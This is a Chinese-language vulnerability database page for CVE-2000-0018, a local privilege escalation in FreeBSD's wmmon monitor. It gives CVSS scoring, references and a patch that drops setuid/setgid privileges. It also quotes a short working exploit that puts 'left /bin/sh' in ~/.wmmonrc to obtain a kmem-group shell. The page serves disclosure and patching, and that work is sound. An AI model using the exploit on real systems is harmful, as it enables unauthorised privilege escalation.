CVE-2000-0018
CVSS7.2
发布时间 :1999-12-22 00:00:00
修订时间 :2008-09-10 15:02:19
NMCOE    

[原文]wmmon in FreeBSD allows local users to gain privileges via the .wmmonrc configuration file.


[CNNVD]FreeBSD WMMon权限提升漏洞(CNNVD-199912-078)

        FreeBSD中的WMMon存在漏洞,本地用户利用该漏洞通过.wmmonrc配置文件获得特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0018
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0018
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199912-078
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/885
(UNKNOWN)  BID  885
http://www.osvdb.org/1169
(UNKNOWN)  OSVDB  1169

- 漏洞信息

FreeBSD WMMon权限提升漏洞
高危 输入验证
1999-12-22 00:00:00 2005-05-02 00:00:00
本地  
        FreeBSD中的WMMon存在漏洞,本地用户利用该漏洞通过.wmmonrc配置文件获得特权。

- 公告与补丁

        The following was taken directly from a Bugtraq posting by Steve Reid on December 21, 1999. There is a link to this article in the credit section.
        Here is a patch:
        --- work/wmmon.app/wmmon/wmmon.c.old Thu Dec 2 02:06:55 1999
        +++ work/wmmon.app/wmmon/wmmon.c Thu Dec 2 04:20:22 1999
        @@ -318,6 +318,8 @@
        if (kvmd==NULL) kvmd = kvm_openfiles(NULL, NULL, NULL, O_RDONLY, errbuf);
         if (kvmd==NULL) { fprintf(stderr, "kvm_openfiles: \n", errbuf); exit(errno); }
        + if (setgid(getgid()) != 0) exit(1); /* We're sgid kmem. Give up privs. */
        + if (setuid(getuid()) != 0) exit(1); /* If we're suid, give that up too. */
         if (kvmd) {
         if (kvm_nlist(kvmd, nl) >= 0) {
         struct nlist *nlp;

- 漏洞信息 (19685)

Windowmaker wmmon 1.0 b2 Vulnerability (EDBID:19685)
freebsd local
1999-12-22 Verified
0 Steve Reid
N/A [点击下载]
source: http://www.securityfocus.com/bid/885/info

WMMon is a multiple platform Window Maker docking application. It monitors useful system information such as CPU load and disk activity. The application also allows the user to define commands that can be launched by mouse clicks in the WMMon window. If the WMMon application is installed SUID or SGID, these privileges are not dropped before executing commands that have been defined by the user. Since the user can configure the application to execute any command, a user can run a shell or any other executable with the privileges that WMMon has been installed with. The FreeBSD ports version of WMMon installs SGID kmem and older versions installed it as SUID root. 

Exploit:
% id
uid=1000(steve) gid=1000(steve) groups=1000(steve)
% echo 'left /bin/sh' > ~/.wmmonrc
% wmmon -display myworkstation.evilhacker.net:0.0
Monitoring 2 devices for activity.
{Left-click on the little window that appears}
current stat is :1
$ id
uid=1000(steve) gid=1000(steve) egid=2(kmem) groups=2(kmem), 1000(steve) 		

- 漏洞信息

1169
FreeBSD WMMon Local Privilege Escalation
Local Access Required Input Manipulation, Misconfiguration
Loss of Integrity
Exploit Public

- 漏洞描述

WMMon, a FreeBSD port, contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when WMMon is setgid kmem and configured to execute arbitrary commands via the .wmmonrc configuration file. This flaw may lead to a loss of integrity.

- 时间线

1999-12-21 Unknow
1999-12-21 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Steve Reid has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站